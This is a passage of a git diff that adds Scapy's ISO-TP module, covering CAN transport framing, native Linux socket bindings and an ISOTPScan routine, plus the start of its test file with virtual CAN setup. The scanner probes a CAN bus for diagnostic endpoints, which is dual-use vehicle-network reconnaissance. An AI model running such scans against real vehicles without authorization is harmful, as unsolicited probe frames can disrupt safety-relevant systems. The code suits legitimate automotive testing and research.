+ raise Scapy_Exception(self.tx_exception) + else: + self.tx_state = ISOTP_IDLE + self.tx_exception = "Unknown FC frame type" + self.tx_done.set() + raise Scapy_Exception(self.tx_exception) + + return 0 + + def _recv_sf(self, data): + """Process a received 'Single Frame' frame""" + if self.rx_timeout_handle is not None: + self.rx_timeout_handle.cancel() + self.rx_timeout_handle = None + + if self.rx_state != ISOTP_IDLE: + warning("RX state was reset because single frame was received") + self.rx_state = ISOTP_IDLE + + length = six.indexbytes(data, 0) & 0xf + if len(data) - 1 < length: + return 1 + + msg = data[1:1 + length] + self.rx_queue.put(msg) + for cb in self.rx_callbacks: + cb(msg) + self.call_release() + return 0 + + def _recv_ff(self, data): + """Process a received 'First Frame' frame""" + if self.rx_timeout_handle is not None: + self.rx_timeout_handle.cancel() + self.rx_timeout_handle = None + + if self.rx_state != ISOTP_IDLE: + warning("RX state was reset because first frame was received") + self.rx_state = ISOTP_IDLE + + if len(data) < 7: + return 1 + self.rx_ll_dl = len(data) + + # get the FF_DL + self.rx_len = (six.indexbytes(data, 0) & 0x0f) * 256 + six.indexbytes( + data, 1) + ff_pci_sz = 2 + + # Check for FF_DL escape sequence supporting 32 bit PDU length + if self.rx_len == 0: + # FF_DL = 0 => get real length from next 4 bytes + self.rx_len = six.indexbytes(data, 2) << 24 + self.rx_len += six.indexbytes(data, 3) << 16 + self.rx_len += six.indexbytes(data, 4) << 8 + self.rx_len += six.indexbytes(data, 5) + ff_pci_sz = 6 + + # copy the first received data bytes + data_bytes = data[ff_pci_sz:] + self.rx_idx = len(data_bytes) + self.rx_buf = data_bytes + + # initial setup for this pdu reception + self.rx_sn = 1 + self.rx_state = ISOTP_WAIT_DATA + + # no creation of flow control frames + if not self.listen_only: + # send our first FC frame + load = self.ea_hdr + load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin) + self.can_send(load) + + # wait for a CF + self.rx_bs = 0 + self.rx_timeout_handle = TimeoutScheduler.schedule( + self.cf_timeout, self._rx_timer_handler) + + return 0 + + def _recv_cf(self, data): + """Process a received 'Consecutive Frame' frame""" + if self.rx_state != ISOTP_WAIT_DATA: + return 0 + + if self.rx_timeout_handle is not None: + self.rx_timeout_handle.cancel() + self.rx_timeout_handle = None + + # CFs are never longer than the FF + if len(data) > self.rx_ll_dl: + return 1 + + # CFs have usually the LL_DL length + if len(data) < self.rx_ll_dl: + # this is only allowed for the last CF + if self.rx_len - self.rx_idx > self.rx_ll_dl: + warning("Received a CF with insuffifient length") + return 1 + + if six.indexbytes(data, 0) & 0x0f != self.rx_sn: + # Wrong sequence number + warning("RX state was reset because wrong sequence number was " + "received") + self.rx_state = ISOTP_IDLE + return 1 + + self.rx_sn = (self.rx_sn + 1) % 16 + self.rx_buf += data[1:] + self.rx_idx = len(self.rx_buf) + + if self.rx_idx >= self.rx_len: + # we are done + self.rx_buf = self.rx_buf[0:self.rx_len] + self.rx_state = ISOTP_IDLE + self.rx_queue.put(self.rx_buf) + for cb in self.rx_callbacks: + cb(self.rx_buf) + self.call_release() + self.rx_buf = None + return 0 + + # perform blocksize handling, if enabled + if self.rxfc_bs != 0: + self.rx_bs += 1 + + # check if we reached the end of the block + if self.rx_bs >= self.rxfc_bs and not self.listen_only: + # send our FC frame + load = self.ea_hdr + load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, + self.rxfc_stmin) + self.can_send(load) + + # wait for another CF + self.rx_timeout_handle = TimeoutScheduler.schedule( + self.cf_timeout, self._rx_timer_handler) + return 0 + + def begin_send(self, x): + """Begins sending an ISOTP message. This method does not block.""" + with self.tx_mutex: + if self.tx_state != ISOTP_IDLE: + raise Scapy_Exception("Socket is already sending, retry later") + + self.tx_done.clear() + self.tx_exception = None + self.tx_state = ISOTP_SENDING + + length = len(x) + if length > ISOTP_MAX_DLEN_2015: + raise Scapy_Exception("Too much data for ISOTP message") + + if len(self.ea_hdr) + length <= 7: + # send a single frame + data = self.ea_hdr + data += struct.pack("B", length) + data += x + self.tx_state = ISOTP_IDLE + self.can_send(data) + self.tx_done.set() + for cb in self.tx_callbacks: + cb() + return + + # send the first frame + data = self.ea_hdr + if length > ISOTP_MAX_DLEN: + data += struct.pack(">HI", 0x1000, length) + else: + data += struct.pack(">H", 0x1000 | length) + load = x[0:8 - len(data)] + data += load + self.can_send(data) + + self.tx_buf = x + self.tx_sn = 1 + self.tx_bs = 0 + self.tx_idx = len(load) + + self.tx_state = ISOTP_WAIT_FIRST_FC + self.tx_timeout_handle = TimeoutScheduler.schedule( + self.fc_timeout, self._tx_timer_handler) + + def send(self, p): + """Send an ISOTP frame and block until the message is sent or an error + happens.""" + with self.send_mutex: + self.begin_send(p) + + # Wait until the tx callback is called + send_done = self.tx_done.wait(30) + if self.tx_exception is not None: + raise Scapy_Exception(self.tx_exception) + if not send_done: + raise Scapy_Exception("ISOTP send not completed in 30s") + return + + def recv(self, timeout=None): + """Receive an ISOTP frame, blocking if none is available in the buffer + for at most 'timeout' seconds.""" + + try: + return self.rx_queue.get(timeout is None or timeout > 0, timeout) + except queue.Empty: + return None + + def check_recv(self): + """Implementation for SelectableObject""" + return not self.rx_queue.empty() + + +if six.PY3 and LINUX: + + from scapy.arch.linux import get_last_packet_timestamp, SIOCGIFINDEX + + """ISOTPNativeSocket definitions:""" + + CAN_ISOTP = 6 # ISO 15765-2 Transport Protocol + + SOL_CAN_BASE = 100 # from can.h + SOL_CAN_ISOTP = SOL_CAN_BASE + CAN_ISOTP + # /* for socket options affecting the socket (not the global system) */ + CAN_ISOTP_OPTS = 1 # /* pass struct can_isotp_options */ + CAN_ISOTP_RECV_FC = 2 # /* pass struct can_isotp_fc_options */ + + # /* sockopts to force stmin timer values for protocol regression tests */ + CAN_ISOTP_TX_STMIN = 3 # /* pass __u32 value in nano secs */ + CAN_ISOTP_RX_STMIN = 4 # /* pass __u32 value in nano secs */ + CAN_ISOTP_LL_OPTS = 5 # /* pass struct can_isotp_ll_options */ + + CAN_ISOTP_LISTEN_MODE = 0x001 # /* listen only (do not send FC) */ + CAN_ISOTP_EXTEND_ADDR = 0x002 # /* enable extended addressing */ + CAN_ISOTP_TX_PADDING = 0x004 # /* enable CAN frame padding tx path */ + CAN_ISOTP_RX_PADDING = 0x008 # /* enable CAN frame padding rx path */ + CAN_ISOTP_CHK_PAD_LEN = 0x010 # /* check received CAN frame padding */ + CAN_ISOTP_CHK_PAD_DATA = 0x020 # /* check received CAN frame padding */ + CAN_ISOTP_HALF_DUPLEX = 0x040 # /* half duplex error state handling */ + CAN_ISOTP_FORCE_TXSTMIN = 0x080 # /* ignore stmin from received FC */ + CAN_ISOTP_FORCE_RXSTMIN = 0x100 # /* ignore CFs depending on rx stmin */ + CAN_ISOTP_RX_EXT_ADDR = 0x200 # /* different rx extended addressing */ + + # /* default values */ + CAN_ISOTP_DEFAULT_FLAGS = 0 + CAN_ISOTP_DEFAULT_EXT_ADDRESS = 0x00 + CAN_ISOTP_DEFAULT_PAD_CONTENT = 0xCC # /* prevent bit-stuffing */ + CAN_ISOTP_DEFAULT_FRAME_TXTIME = 0 + CAN_ISOTP_DEFAULT_RECV_BS = 0 + CAN_ISOTP_DEFAULT_RECV_STMIN = 0x00 + CAN_ISOTP_DEFAULT_RECV_WFTMAX = 0 + CAN_ISOTP_DEFAULT_LL_MTU = CAN_MTU + CAN_ISOTP_DEFAULT_LL_TX_DL = CAN_MAX_DLEN + CAN_ISOTP_DEFAULT_LL_TX_FLAGS = 0 + + class SOCKADDR(ctypes.Structure): + # See /usr/include/i386-linux-gnu/bits/socket.h for original struct + _fields_ = [("sa_family", ctypes.c_uint16), + ("sa_data", ctypes.c_char * 14)] + + class TP(ctypes.Structure): + # This struct is only used within the SOCKADDR_CAN struct + _fields_ = [("rx_id", ctypes.c_uint32), + ("tx_id", ctypes.c_uint32)] + + class ADDR_INFO(ctypes.Union): + # This struct is only used within the SOCKADDR_CAN struct + # This union is to future proof for future can address information + _fields_ = [("tp", TP)] + + class SOCKADDR_CAN(ctypes.Structure): + # See /usr/include/linux/can.h for original struct + _fields_ = [("can_family", ctypes.c_uint16), + ("can_ifindex", ctypes.c_int), + ("can_addr", ADDR_INFO)] + + class IFREQ(ctypes.Structure): + # The two fields in this struct were originally unions. + # See /usr/include/net/if.h for original struct + _fields_ = [("ifr_name", ctypes.c_char * 16), + ("ifr_ifindex", ctypes.c_int)] + + class ISOTPNativeSocket(SuperSocket): + desc = "read/write packets at a given CAN interface using CAN_ISOTP " \ + "socket " + can_isotp_options_fmt = "@2I4B" + can_isotp_fc_options_fmt = "@3B" + can_isotp_ll_options_fmt = "@3B" + sockaddr_can_fmt = "@H3I" + auxdata_available = True + + def __build_can_isotp_options( + self, + flags=CAN_ISOTP_DEFAULT_FLAGS, + frame_txtime=0, + ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS, + txpad_content=0, + rxpad_content=0, + rx_ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS): + return struct.pack(self.can_isotp_options_fmt, + flags, + frame_txtime, + ext_address, + txpad_content, + rxpad_content, + rx_ext_address) + + # == Must use native not standard types for packing == + # struct can_isotp_options { + # __u32 flags; /* set flags for isotp behaviour. */ + # /* __u32 value : flags see below */ + # + # __u32 frame_txtime; /* frame transmission time (N_As/N_Ar) */ + # /* __u32 value : time in nano secs */ + # + # __u8 ext_address; /* set address for extended addressing */ + # /* __u8 value : extended address */ + # + # __u8 txpad_content; /* set content of padding byte (tx) */ + # /* __u8 value : content on tx path */ + # + # __u8 rxpad_content; /* set content of padding byte (rx) */ + # /* __u8 value : content on rx path */ + # + # __u8 rx_ext_address; /* set address for extended addressing */ + # /* __u8 value : extended address (rx) */ + # }; + + def __build_can_isotp_fc_options(self, + bs=CAN_ISOTP_DEFAULT_RECV_BS, + stmin=CAN_ISOTP_DEFAULT_RECV_STMIN, + wftmax=CAN_ISOTP_DEFAULT_RECV_WFTMAX): + return struct.pack(self.can_isotp_fc_options_fmt, + bs, + stmin, + wftmax) + + # == Must use native not standard types for packing == + # struct can_isotp_fc_options { + # + # __u8 bs; /* blocksize provided in FC frame */ + # /* __u8 value : blocksize. 0 = off */ + # + # __u8 stmin; /* separation time provided in FC frame */ + # /* __u8 value : */ + # /* 0x00 - 0x7F : 0 - 127 ms */ + # /* 0x80 - 0xF0 : reserved */ + # /* 0xF1 - 0xF9 : 100 us - 900 us */ + # /* 0xFA - 0xFF : reserved */ + # + # __u8 wftmax; /* max. number of wait frame transmiss. */ + # /* __u8 value : 0 = omit FC N_PDU WT */ + # }; + + def __build_can_isotp_ll_options(self, + mtu=CAN_ISOTP_DEFAULT_LL_MTU, + tx_dl=CAN_ISOTP_DEFAULT_LL_TX_DL, + tx_flags=CAN_ISOTP_DEFAULT_LL_TX_FLAGS + ): + return struct.pack(self.can_isotp_ll_options_fmt, + mtu, + tx_dl, + tx_flags) + + # == Must use native not standard types for packing == + # struct can_isotp_ll_options { + # + # __u8 mtu; /* generated & accepted CAN frame type */ + # /* __u8 value : */ + # /* CAN_MTU (16) -> standard CAN 2.0 */ + # /* CANFD_MTU (72) -> CAN FD frame */ + # + # __u8 tx_dl; /* tx link layer data length in bytes */ + # /* (configured maximum payload length) */ + # /* __u8 value : 8,12,16,20,24,32,48,64 */ + # /* => rx path supports all LL_DL values */ + # + # __u8 tx_flags; /* set into struct canfd_frame.flags */ + # /* at frame creation: e.g. CANFD_BRS */ + # /* Obsolete when the BRS flag is fixed */ + # /* by the CAN netdriver configuration */ + # }; + + def __get_sock_ifreq(self, sock, iface): + socket_id = ctypes.c_int(sock.fileno()) + ifr = IFREQ() + ifr.ifr_name = iface.encode('ascii') + ret = LIBC.ioctl(socket_id, SIOCGIFINDEX, ctypes.byref(ifr)) + + if ret < 0: + m = u'Failure while getting "{}" interface index.'.format( + iface) + raise Scapy_Exception(m) + return ifr + + def __bind_socket(self, sock, iface, sid, did): + socket_id = ctypes.c_int(sock.fileno()) + ifr = self.__get_sock_ifreq(sock, iface) + + if sid > 0x7ff: + sid = sid | socket.CAN_EFF_FLAG + if did > 0x7ff: + did = did | socket.CAN_EFF_FLAG + + # select the CAN interface and bind the socket to it + addr = SOCKADDR_CAN(ctypes.c_uint16(socket.PF_CAN), + ifr.ifr_ifindex, + ADDR_INFO(TP(ctypes.c_uint32(did), + ctypes.c_uint32(sid)))) + + error = LIBC.bind(socket_id, ctypes.byref(addr), + ctypes.sizeof(addr)) + + if error < 0: + warning("Couldn't bind socket") + + def __set_option_flags(self, sock, extended_addr=None, + extended_rx_addr=None, + listen_only=False, + padding=False, + transmit_time=100): + option_flags = CAN_ISOTP_DEFAULT_FLAGS + if extended_addr is not None: + option_flags = option_flags | CAN_ISOTP_EXTEND_ADDR + else: + extended_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS + + if extended_rx_addr is not None: + option_flags = option_flags | CAN_ISOTP_RX_EXT_ADDR + else: + extended_rx_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS + + if listen_only: + option_flags = option_flags | CAN_ISOTP_LISTEN_MODE + + if padding: + option_flags = option_flags | CAN_ISOTP_TX_PADDING \ + | CAN_ISOTP_RX_PADDING + + sock.setsockopt(SOL_CAN_ISOTP, + CAN_ISOTP_OPTS, + self.__build_can_isotp_options( + frame_txtime=transmit_time, + flags=option_flags, + ext_address=extended_addr, + rx_ext_address=extended_rx_addr)) + + def __init__(self, + iface=None, + sid=0, + did=0, + extended_addr=None, + extended_rx_addr=None, + listen_only=False, + padding=False, + transmit_time=100, + basecls=ISOTP): + + if not isinstance(iface, six.string_types): + if hasattr(iface, "ins") and hasattr(iface.ins, "getsockname"): + iface = iface.ins.getsockname() + if isinstance(iface, tuple): + iface = iface[0] + else: + raise Scapy_Exception("Provide a string or a CANSocket " + "object as iface parameter") + + self.iface = iface or conf.contribs['NativeCANSocket']['iface'] + self.can_socket = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, + CAN_ISOTP) + self.__set_option_flags(self.can_socket, + extended_addr, + extended_rx_addr, + listen_only, + padding, + transmit_time) + + self.src = sid + self.dst = did + self.exsrc = extended_addr + self.exdst = extended_rx_addr + + self.can_socket.setsockopt(SOL_CAN_ISOTP, + CAN_ISOTP_RECV_FC, + self.__build_can_isotp_fc_options()) + self.can_socket.setsockopt(SOL_CAN_ISOTP, + CAN_ISOTP_LL_OPTS, + self.__build_can_isotp_ll_options()) + self.can_socket.setsockopt( + socket.SOL_SOCKET, + SO_TIMESTAMPNS, + 1 + ) + + self.__bind_socket(self.can_socket, self.iface, sid, did) + self.ins = self.can_socket + self.outs = self.can_socket + if basecls is None: + warning('Provide a basecls ') + self.basecls = basecls + + def recv_raw(self, x=0xffff): + """ + Receives a packet, then returns a tuple containing + (cls, pkt_data, time) + """ # noqa: E501 + try: + pkt, _, ts = self._recv_raw(self.ins, x) + except BlockingIOError: # noqa: F821 + warning('Captured no data, socket in non-blocking mode.') + return None + except socket.timeout: + warning('Captured no data, socket read timed out.') + return None + except OSError: + # something bad happened (e.g. the interface went down) + warning("Captured no data.") + return None + + if ts is None: + ts = get_last_packet_timestamp(self.ins) + return self.basecls, pkt, ts + + def recv(self, x=0xffff): + msg = SuperSocket.recv(self, x) + + if hasattr(msg, "src"): + msg.src = self.src + if hasattr(msg, "dst"): + msg.dst = self.dst + if hasattr(msg, "exsrc"): + msg.exsrc = self.exsrc + if hasattr(msg, "exdst"): + msg.exdst = self.exdst + return msg + + __all__.append("ISOTPNativeSocket") + +if USE_CAN_ISOTP_KERNEL_MODULE: + ISOTPSocket = ISOTPNativeSocket + + +# ################################################################### +# #################### ISOTPSCAN #################################### +# ################################################################### +def send_multiple_ext(sock, ext_id, packet, number_of_packets): + """ Send multiple packets with extended addresses at once + + Args: + sock: socket for can interface + ext_id: extended id. First id to send. + packet: packet to send + number_of_packets: number of packets send + + This function is used for scanning with extended addresses. + It sends multiple packets at once. The number of packets + is defined in the number_of_packets variable. + It only iterates the extended ID, NOT the actual ID of the packet. + This method is used in extended scan function. + """ + end_id = min(ext_id + number_of_packets, 255) + for i in range(ext_id, end_id + 1): + packet.extended_address = i + sock.send(packet) + + +def get_isotp_packet(identifier=0x0, extended=False, extended_can_id=False): + """ Craft ISO TP packet + Args: + identifier: identifier of crafted packet + extended: boolean if packet uses extended address + extended_can_id: boolean if CAN should use extended Ids + """ + + if extended: + pkt = ISOTPHeaderEA() / ISOTP_FF() + pkt.extended_address = 0 + pkt.data = b'\x00\x00\x00\x00\x00' + else: + pkt = ISOTPHeader() / ISOTP_FF() + pkt.data = b'\x00\x00\x00\x00\x00\x00' + if extended_can_id: + pkt.flags = "extended" + + pkt.identifier = identifier + pkt.message_size = 100 + return pkt + + +def filter_periodic_packets(packet_dict, verbose=False): + """ Filter for periodic packets + + Args: + packet_dict: Dictionary with Send-to-ID as key and a tuple + (received packet, Recv_ID) + verbose: Displays further information + + ISOTP-Filter for periodic packets (same ID, always same timegap) + Deletes periodic packets in packet_dict + """ + filter_dict = {} + + for key, value in packet_dict.items(): + pkt = value[0] + idn = value[1] + if idn not in filter_dict: + filter_dict[idn] = ([key], [pkt]) + else: + key_lst, pkt_lst = filter_dict[idn] + filter_dict[idn] = (key_lst + [key], pkt_lst + [pkt]) + + for idn in filter_dict: + key_lst = filter_dict[idn][0] + pkt_lst = filter_dict[idn][1] + if len(pkt_lst) < 3: + continue + + tg = [p1.time - p2.time for p1, p2 in zip(pkt_lst[1:], pkt_lst[:-1])] + if all(abs(t1 - t2) < 0.001 for t1, t2 in zip(tg[1:], tg[:-1])): + if verbose: + print("[i] Identifier 0x%03x seems to be periodic. " + "Filtered.") + for k in key_lst: + del packet_dict[k] + + +def get_isotp_fc(id_value, id_list, noise_ids, extended, packet, + verbose=False): + """Callback for sniff function when packet received + + Args: + id_value: packet id of send packet + id_list: list of received IDs + noise_ids: list of packet IDs which will not be considered when + received during scan + extended: boolean if extended scan + packet: received packet + verbose: displays information during scan + + If received packet is a FlowControl + and not in noise_ids + append it to id_list + """ + if packet.flags and packet.flags != "extended": + return + + if noise_ids is not None and packet.identifier in noise_ids: + return + + try: + index = 1 if extended else 0 + isotp_pci = orb(packet.data[index]) >> 4 + isotp_fc = orb(packet.data[index]) & 0x0f + if isotp_pci == 3 and 0 <= isotp_fc <= 2: + if verbose: + print("[+] Found flow-control frame from identifier 0x%03x" + " when testing identifier 0x%03x" % + (packet.identifier, id_value)) + if isinstance(id_list, dict): + id_list[id_value] = (packet, packet.identifier) + elif isinstance(id_list, list): + id_list.append(id_value) + else: + raise TypeError("Unknown type of id_list") + else: + noise_ids.append(packet.identifier) + except Exception as e: + print("[!] Unknown message Exception: %s on packet: %s" % + (e, repr(packet))) + + +def scan(sock, scan_range=range(0x800), noise_ids=None, sniff_time=0.1, + extended_can_id=False, verbose=False): + """Scan and return dictionary of detections + + Args: + sock: socket for can interface + scan_range: hexadecimal range of IDs to scan. + Default is 0x0 - 0x7ff + noise_ids: list of packet IDs which will not be considered when + received during scan + sniff_time: time the scan waits for isotp flow control responses + after sending a first frame + extended_can_id: Send extended can frames + verbose: displays information during scan + + ISOTP-Scan - NO extended IDs + found_packets = Dictionary with Send-to-ID as + key and a tuple (received packet, Recv_ID) + """ + return_values = dict() + for value in scan_range: + sock.sniff(prn=lambda pkt: get_isotp_fc(value, return_values, + noise_ids, False, pkt, + verbose), + timeout=sniff_time, + started_callback=lambda: sock.send( + get_isotp_packet(value, False, extended_can_id))) + + cleaned_ret_val = dict() + + for tested_id in return_values.keys(): + for value in range(max(0, tested_id - 2), tested_id + 2, 1): + sock.sniff(prn=lambda pkt: get_isotp_fc(value, cleaned_ret_val, + noise_ids, False, pkt, + verbose), + timeout=sniff_time * 10, + started_callback=lambda: sock.send( + get_isotp_packet(value, False, extended_can_id))) + + return cleaned_ret_val + + +def scan_extended(sock, scan_range=range(0x800), scan_block_size=32, + extended_scan_range=range(0x100), noise_ids=None, + sniff_time=0.1, extended_can_id=False, verbose=False): + """Scan with ISOTP extended addresses and return dictionary of detections + + Args: + sock: socket for can interface + scan_range: hexadecimal range of IDs to scan. + Default is 0x0 - 0x7ff + scan_block_size: count of packets send at once + extended_scan_range: range to search for extended ISOTP addresses + noise_ids: list of packet IDs which will not be considered when + received during scan + sniff_time: time the scan waits for isotp flow control responses + after sending a first frame + extended_can_id: Send extended can frames + verbose: displays information during scan + + If an answer-packet found -> slow scan with + single packages with extended ID 0 - 255 + found_packets = Dictionary with Send-to-ID + as key and a tuple (received packet, Recv_ID) + """ + + return_values = dict() + scan_block_size = scan_block_size or 1 + + for value in scan_range: + pkt = get_isotp_packet(value, extended=True, + extended_can_id=extended_can_id) + id_list = [] + r = list(extended_scan_range) + for ext_isotp_id in range(r[0], r[-1], scan_block_size): + sock.sniff(prn=lambda p: get_isotp_fc(ext_isotp_id, id_list, + noise_ids, True, p, + verbose), + timeout=sniff_time * 3, + started_callback=lambda: send_multiple_ext( + sock, ext_isotp_id, pkt, scan_block_size)) + # sleep to prevent flooding + time.sleep(sniff_time) + + # remove duplicate IDs + id_list = list(set(id_list)) + for ext_isotp_id in id_list: + for ext_id in range(max(ext_isotp_id - 2, 0), + min(ext_isotp_id + scan_block_size + 2, 256)): + pkt.extended_address = ext_id + full_id = (value << 8) + ext_id + sock.sniff(prn=lambda pkt: get_isotp_fc(full_id, + return_values, + noise_ids, True, + pkt, verbose), + timeout=sniff_time * 2, + started_callback=lambda: sock.send(pkt)) + + return return_values + + +def ISOTPScan(sock, + scan_range=range(0x7ff + 1), + extended_addressing=False, + extended_scan_range=range(0x100), + noise_listen_time=2, + sniff_time=0.1, + output_format=None, + can_interface=None, + extended_can_id=False, + verbose=False): + + """Scan for ISOTP Sockets on a bus and return findings + + Args: + sock: CANSocket object to communicate with the bus under scan + scan_range: hexadecimal range of CAN-Identifiers to scan. + Default is 0x0 - 0x7ff + extended_addressing: scan with ISOTP extended addressing + extended_scan_range: range for ISOTP extended addressing values + noise_listen_time: seconds to listen for default + communication on the bus + sniff_time: time the scan waits for isotp flow control responses + after sending a first frame + output_format: defines the format of the returned + results (text, code or sockets). Provide a string + e.g. "text". Default is "socket". + can_interface: interface used to create the returned code/sockets + extended_can_id: Use Extended CAN-Frames + verbose: displays information during scan + + Scan for ISOTP Sockets in the defined range and returns found sockets + in a specified format. The format can be: + + - text: human readable output + - code: python code for copy&paste + - sockets: if output format is not specified, ISOTPSockets will be + created and returned in a list + """ + + if verbose: + print("Filtering background noise...") + + # Send dummy packet. In most cases, this triggers activity on the bus. + + dummy_pkt = CAN(identifier=0x123, + data=b'\xaa\xbb\xcc\xdd\xee\xff\xaa\xbb') + + background_pkts = sock.sniff(timeout=noise_listen_time, + started_callback=lambda: + sock.send(dummy_pkt)) + + noise_ids = list(set(pkt.identifier for pkt in background_pkts)) + + if extended_addressing: + found_packets = scan_extended(sock, scan_range, + extended_scan_range=extended_scan_range, + noise_ids=noise_ids, + sniff_time=sniff_time, + extended_can_id=extended_can_id, + verbose=verbose) + else: + found_packets = scan(sock, scan_range, + noise_ids=noise_ids, + sniff_time=sniff_time, + extended_can_id=extended_can_id, + verbose=verbose) + + filter_periodic_packets(found_packets, verbose) + + if output_format == "text": + return generate_text_output(found_packets, extended_addressing) + if output_format == "code": + return generate_code_output(found_packets, can_interface, + extended_addressing) + if can_interface is None: + can_interface = sock + + return generate_isotp_list(found_packets, can_interface, + extended_addressing) + + +def generate_text_output(found_packets, extended_addressing=False): + """Generate a human readable output from the result of the `scan` or + the `scan_extended` function. + + Args: + found_packets: result of the `scan` or `scan_extended` function + extended_addressing: print results from a scan with ISOTP + extended addressing + """ + if not found_packets: + return "No packets found." + + text = "\nFound %s ISOTP-FlowControl Packet(s):" % len(found_packets) + for pack in found_packets: + if extended_addressing: + send_id = pack // 256 + send_ext = pack - (send_id * 256) + ext_id = hex(orb(found_packets[pack][0].data[0])) + text += "\nSend to ID: %s" \ + "\nSend to extended ID: %s" \ + "\nReceived ID: %s" \ + "\nReceived extended ID: %s" \ + "\nMessage: %s" % \ + (hex(send_id), hex(send_ext), + hex(found_packets[pack][0].identifier), ext_id, + repr(found_packets[pack][0])) + else: + text += "\nSend to ID: %s" \ + "\nReceived ID: %s" \ + "\nMessage: %s" % \ + (hex(pack), + hex(found_packets[pack][0].identifier), + repr(found_packets[pack][0])) + + padding = found_packets[pack][0].length == 8 + if padding: + text += "\nPadding enabled" + else: + text += "\nNo Padding" + + text += "\n" + return text + + +def generate_code_output(found_packets, can_interface, + extended_addressing=False): + """Generate a copy&past-able output from the result of the `scan` or + the `scan_extended` function. + + Args: + found_packets: result of the `scan` or `scan_extended` function + can_interface: description string for a CAN interface to be + used for the creation of the output. + extended_addressing: print results from a scan with ISOTP + extended addressing + """ + result = "" + if not found_packets: + return result + + header = "\n\nimport can\n" \ + "conf.contribs['CANSocket'] = {'use-python-can': %s}\n" \ + "load_contrib('cansocket')\n" \ + "load_contrib('isotp')\n\n" % PYTHON_CAN + + for pack in found_packets: + if extended_addressing: + send_id = pack // 256 + send_ext = pack - (send_id * 256) + ext_id = orb(found_packets[pack][0].data[0]) + result += "ISOTPSocket(%s, sid=0x%x, did=0x%x, padding=%s, " \ + "extended_addr=0x%x, extended_rx_addr=0x%x, " \ + "basecls=ISOTP)\n" % \ + (can_interface, send_id, + int(found_packets[pack][0].identifier), + found_packets[pack][0].length == 8, + send_ext, + ext_id) + + else: + result += "ISOTPSocket(%s, sid=0x%x, did=0x%x, padding=%s, " \ + "basecls=ISOTP)\n" % \ + (can_interface, pack, + int(found_packets[pack][0].identifier), + found_packets[pack][0].length == 8) + return header + result + + +def generate_isotp_list(found_packets, can_interface, + extended_addressing=False): + """Generate a list of ISOTPSocket objects from the result of the `scan` or + the `scan_extended` function. + + Args: + found_packets: result of the `scan` or `scan_extended` function + can_interface: description string for a CAN interface to be + used for the creation of the output. + extended_addressing: print results from a scan with ISOTP + extended addressing + """ + socket_list = [] + for pack in found_packets: + pkt = found_packets[pack][0] + + dest_id = pkt.identifier + pad = True if pkt.length == 8 else False + + if extended_addressing: + source_id = pack >> 8 + source_ext = int(pack - (source_id * 256)) + dest_ext = orb(pkt.data[0]) + socket_list.append(ISOTPSocket(can_interface, sid=source_id, + extended_addr=source_ext, + did=dest_id, + extended_rx_addr=dest_ext, + padding=pad, + basecls=ISOTP)) + else: + source_id = pack + socket_list.append(ISOTPSocket(can_interface, sid=source_id, + did=dest_id, padding=pad, + basecls=ISOTP)) + return socket_list diff --git a/libs/scapy/contrib/isotp.uts b/libs/scapy/contrib/isotp.uts new file mode 100755 index 0000000..53d2502 --- /dev/null +++ b/libs/scapy/contrib/isotp.uts @@ -0,0 +1,2053 @@ +% ISOTP Tests +~ vcan_socket +* Tests for ISOTP + + ++ Configuration +~ conf + += Imports +~ conf + +load_layer("can") +import threading, time, six, subprocess +from six.moves.queue import Queue +from subprocess import call + + += Definition of constants, utility functions and mock classes +~ conf + +iface0 = "vcan0" +iface1 = "vcan1" + + +class MockCANSocket(SuperSocket): + def __init__(self, rcvd_queue=None): + self.rcvd_queue = Queue() + self.sent_queue = Queue() + if rcvd_queue is not None: + for c in rcvd_queue: + self.rcvd_queue.put(c) + def recv_raw(self, x=MTU): + pkt = bytes(self.rcvd_queue.get(True, 2)) + return CAN, pkt, None + def send(self, p): + self.sent_queue.put(p) + @staticmethod + def select(sockets, remain=None): + return sockets, None + + +# utility function that waits on list l for n elements, timing out if nothing is added for 1 second +def list_wait(l, n): + old_len = 0 + c = 0 + while len(l) < n: + if c > 100: + return False + if len(l) == old_len: + time.sleep(0.01) + c += 1 + else: + old_len = len(l) + c = 0 + +# hexadecimal to bytes convenience function +if six.PY2: + dhex = lambda s: "".join(s.split()).decode('hex') +else: + dhex = bytes.fromhex + + +# function to exit when the can-isotp kernel module is not available +ISOTP_KERNEL_MODULE_AVAILABLE = False +def exit_if_no_isotp_module(): + if not ISOTP_KERNEL_MODULE_AVAILABLE: + err = "TEST SKIPPED: can-isotp not available" + subprocess.call("printf \"%s\r\n\" > /dev/stderr" % err, shell=True) + warning("Can't test ISOTP native socket because kernel module is not loaded") + exit(0) + + += Initialize a virtual CAN interface +~ needs_root linux conf +if 0 != call("cansend %s 000#" % iface0, shell=True): + # vcan0 is not enabled + if 0 != call("sudo modprobe vcan", shell=True): + raise Exception("modprobe vcan failed") + if 0 != call("sudo ip link add name %s type vcan" % iface0, shell=True): + print("add %s failed: Maybe it was already up?" % iface0) + if 0 != call("sudo ip link set dev %s up" % iface0, shell=True): + raise Exception("could not bring up %s" % iface0) + +if 0 != call("cansend %s 000#" % iface0, shell=True): + raise Exception("cansend doesn't work") + +if 0 != call("cansend %s 000#" % iface1, shell=True): + # vcan1 is not enabled + if 0 != call("sudo modprobe vcan", shell=True): + raise Exception("modprobe vcan failed") + if 0 != call("sudo ip link add name %s type vcan" % iface1, shell=True): + print("add %s failed: Maybe it was already up?" % iface1) + if 0 != call("sudo ip link set dev %s up" % iface1, shell=True): + raise Exception("could not bring up %s" % iface1) + +if 0 != call("cansend %s 000#" % iface1, shell=True): + raise Exception("cansend doesn't work") + +print("CAN should work now") + + +if six.PY3: + from scapy.contrib.cansocket_native import * +else: + from scapy.contrib.cansocket_python_can import * + + +if "python_can" in CANSocket.__module__: + import can as python_can + new_can_socket = lambda iface: CANSocket(iface=python_can.interface.Bus(bustype='socketcan', channel=iface, bitrate=250000)) + new_can_socket0 = lambda: CANSocket(iface=python_can.interface.Bus(bustype='socketcan', channel=iface0, bitrate=250000), timeout=0.01) + new_can_socket1 = lambda: CANSocket(iface=python_can.interface.Bus(bustype='socketcan', channel=iface1, bitrate=250000), timeout=0.01) +else: + new_can_socket = lambda iface: CANSocket(iface) + new_can_socket0 = lambda: CANSocket(iface0) + 